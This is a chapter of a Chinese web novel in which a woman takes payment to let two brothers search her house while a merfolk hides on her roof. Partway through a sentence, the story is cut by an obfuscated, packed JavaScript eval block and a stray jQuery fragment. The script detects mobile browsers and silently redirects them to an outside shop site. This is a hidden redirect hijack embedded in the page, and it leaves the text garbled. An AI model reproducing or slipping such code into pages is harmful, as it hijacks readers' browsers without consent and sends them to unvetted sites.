夏绿溪站起身,朝张兆摇了摇头,“不行,平白无故凭什么让你们在我屋里搜,那可是我的隐私。”
张兆听懂了她话中的言外之意,随即开口:“一万金币。”
“……行,但我有个要求。”
“什么?”
“有关我个人隐私的房间,你们不能上手。”
张兆一口应下,“可以,到时候我们只看一看。”
夏绿溪倒是诧异地看了二人一眼。
随后她收回目光,迈着步子朝着外面稍微走了走,直到某个地方才定住脚步,站在那一动不动。
似乎是在遮挡什么东西。
张兆狐疑地看了眼她可疑的举动。
可还没等他张口问时,忽然一道不满的声音响起,“哥,先前不是给过她一万金币了吗?怎么还要给……”
张昕小声嘟囔,但此时在场的人都将他这话听得清楚。
夏绿溪面无异色,“搜湖是搜湖,搜屋子是搜屋子……你没听过一句话吗?”
“什么?”张昕疑惑。
“①风能进,雨能进,国王不能进。”
“那是什么地方?连国王都拒之门外,难道是比国王地位更高的存在……”张昕更疑惑了。
荒土大陆上,曾经有过国王的存在,他的权力在鼎盛时期说一不二,只是三个世纪前就被推翻了。
那她这话应该有一定历史了。
所以到底是什么比国王权威还大……张昕思索着。
张兆不耐地看了眼傻弟弟张昕,扶了扶额道:“她说的是屋子。”
虽没听过这句话,但张兆也能从现在的情景中意会到其中的意思,然后没好气地看向张昕,“今天你先不要说话了。”
张昕一听到这话,本想张嘴说些什么,但又沉默了下来,然后动作麻利地收起了放在湖中的设备。
他一见上面残留着梭鱼的部分血肉,眉头一皱,心中觉得晦气,“啧,又要收拾。”
站起身后,他目光四处一扫,然后就找了个干净的地儿将它在湖水里涮,直到满意后,才在二人看过来的目光中,将设备擦干后装进了背包中。
紧接着他木屋那边走了几步,见仍伫立在原地的张兆身上,神色不解。
他哥怎么还杵在这儿,还不走……不是说要去屋子里搜查一番吗……怎么又不动了……
张昕疑惑地顺着张兆的视线看了过去,心里更疑惑了。
他哥看这个女人干什么……难不成她隐瞒了什么消息,不对,她贪财,肯定不会瞒着的,可大哥这表现……
他决定还是相信他大哥。
思绪微定后,张昕看向夏绿溪的目光中多了几分杀意。
夏绿溪被这么两个人看着,却神色自如地转过身,然后拉了几下先前被身体遮住的铜铃铛。
一阵乱晃悠,看起来十分随意。
重、重、重、重、轻、重、重、重……
张兆见着,暗自观察着其中的力道,内心思忖夏绿溪是不是试图在朝另一端传递着什么信息。
另一边。
此时屋内的塞西尔早就将铃铛放在耳边,细细倾听,正将夏绿溪那几道敲击声听了进去。
重、重、重、重、轻、重、重、重……
有三重一轻。
夏绿溪嘱咐过,这个时候他要随机应变。
随机应变……真是个考验智商与反应等各方面综合素质的机会。
他见识过那两人的厉害。
今日他要从他们手中脱身,恐怕要脱一层皮了。
……
湖边。
张兆心中不确定,决定诈夏绿溪一下。
于是他目光死死盯住夏绿溪,像是夜间的鹰隼般锐利。
“你在做什么?是在给屋子里的谁通风报信吗,是那条黑色人鱼吗……”
夏绿溪不吃压力。
她瞥了他一个白眼,“我这不是在湖里养了鱼吗……虽然现在它们都快被你俩全电死了,但之前为了保护它们免于被附近的水鸟吃,这两天特意做了这个……”
紧接着,她在二人面前叹息一声,“只是效果不太好……还是拆了吧,免得占位子,有碍观瞻。”
说着说着,她踮着脚自顾自地将铜铃铛一侧取了下来。
张兆则一直盯着她,没说话,目光沉沉,至于此时的张昕,他百无聊赖,于是就学着张兆。
还挺有模有样的。
……
“希望你们能找到吧……”
夏绿溪看着二人的背影,眉毛上挑,看起来云淡风轻。
但实际上,她敢肯定,她现在的心率快飚到一百二了。
也不知塞西尔藏在何处。
剩下的可就全靠你自己了……塞西尔,祝你好运……
夏绿溪心里默默替塞西尔祈祷。
……
储物室。
门一打开,里面摆放着的东西乱七八糟,又林林总总。
张昕挑眉看了眼夏绿溪,“你还是个没收拾的。”
储物室不就是放杂物的吗,还要怎么收拾……
夏绿溪内心腹诽,没有说话。
倒是张兆开口了,话头指向张昕,“你今天就没个正形,事儿多是吧?”
张昕想起了对方先前的警告,乖乖闭上了嘴,然后恨恨地瞪了眼夏绿溪。
感受到对方怨气的夏绿溪:……呵呵哒,果然是这种人,一番相处下来,几乎找不到优点,除了挺让人心烦。
但此时优势不在她。
夏绿溪决定先将这账在心里的小本本记上,要是他日相逢,要是优势在她,那就是另一番光景,可要是还在对方,那就再苟一波。
三千越甲可吞吴。
夏绿溪内心还是坚信下一次相见,三人的情况会倾向于第一种——优势在她。
“噼里啪啦……”
一阵带着烦躁的声响响起,夏绿溪看过去,正好张兆此时看了过来,于是她示意他看向那些被粗暴地摔在地上的杂物。
“这次不用我多说了吧?”
夏绿溪笑眯眯地看向他。
张兆没多说话,又打过去了五千金币。
是的,五千。
真够抠的……
五千,是那些东西在市场上贱卖的价儿。
贱卖的价儿。
夏绿溪深吸一口气,又仔细瞅了瞅,确认无疑后,神色复杂地看向此时正在翻箱倒柜地寻找人鱼的二人。
心里又给他们记上一笔。
……
此时屋里仍闹得很,忽然屋外传来一两声有点沉闷的声响。
夏绿溪离窗外近,听得清楚,这声音像是硬的塑料板掉落在地上发出的声响。
那……是屋顶的树脂瓦掉下来了。
树脂瓦是居住在海边,减少盐雾腐蚀与台风袭扰对住所的不二之选,另外值得一提的是,夏绿溪的木屋建造的选
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610859|205935||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
材主要是附近能寻找到的巴劳木与柚木。
正因为它们,所以夏绿溪的小木屋才能在海边不远处能“安稳”地存在就这么久。
另一边的张昕耳尖,隐约听见外面有什么声响。
于是他看向站在窗边的夏绿溪,问道:“刚刚是什么动静?”
夏绿溪内心腹诽:耳朵真尖……
然后她笑了笑,“能是什么动静……想来是只海鸟不慎将我屋顶上的几片瓦弄了下来。”
“海鸟弄你瓦片做什么?”
“可能是把我木屋当成了个大号树桩,筑巢吧……”
“……”
张昕主动不说话了,转身卖力地翻找着里面的东西。
张兆一直没说话,但暗自里关注着二人的动静,见没从夏绿溪身上发现什么破绽,不由得叹了口气。
张昕一听,以为他累了,于是将张兆往外推了推,“哥,你累了就先歇着,我来就行……”
之后,两人又是好一番拉扯。
旁边的夏绿溪看着二人一来一往的动静,心中却不由得想到上面的塞西尔,忍不住为他担心起来。
与此同时,为了避免暴露,夏绿溪强迫自己不往上抬头看,侧头看向窗外,试图转移注意力。
今天天晴,日光很大。
夏绿溪内心却一点也不美妙。
隔热层安装在屋顶板和树脂瓦之间,加上树脂材料导热不好,热量易聚集在表面。
要是塞西尔此时正在屋顶上的话,恐怕有得难熬了。
烫伤都是最小的伤害了……
更为严重的是缺水。
要是这两人动作在不快点,塞西尔恐怕真的成“人鱼干”了。
但这么一看,夏绿溪更心焦了,脚尖不知在何时开始不停地点着地。
她在意识到后,后怕地看了眼正在和张昕拉扯的张兆,然后不断告诉自己放平心态。
不久后夏绿溪心神稍缓,看向那二人,嘴上催促道:“你们动作快点儿,一会儿我有事还要出去呢……”
此时的二人不再拉扯了。
张兆闻言,若有所思地看向夏绿溪,“夏小姐若是有事,可先行一步,不用管我们。”
夏绿溪心中一紧,语气却十分无语,“什么叫不用管你们,你们要是在我屋子里做什么不好的事,回来后的我要是久了后才发现,到时候又联系不上你们……更何况有些损失也是用金钱无法弥补的。”
紧接着夏绿溪又道:“你们还要去哪个屋子,出来个人与我一块儿去,动作快些……”
“更何况要我说,这屋子也没什么可以藏的地方……你这么翻找肯定是白费功夫。”
她说这话的时候,语气有点焦急。
这一幕落在疑心病张兆眼里,他对此人的怀疑增大了几分,因此他更不愿放弃搜索这个沾染上嫌疑的储物室。
于是他拒绝了夏绿溪的建议,“夏小姐,就让我弟出去去其他地方找吧……”
“……行吧。”
夏绿溪看起来有些勉强,张兆更坚定了猜想。
……
洗漱间前。
“这里怎么一股子腥味?”张昕皱着眉,“你养鱼了?”
这话他本是随口一说,可当他再走两步上前,看到了浴缸里那条游来游去的梭鱼后,怔愣在原地,不可思议地看向夏绿溪。
沉默了好久,才憋出了一句话。
“你居然在浴缸里养鱼!”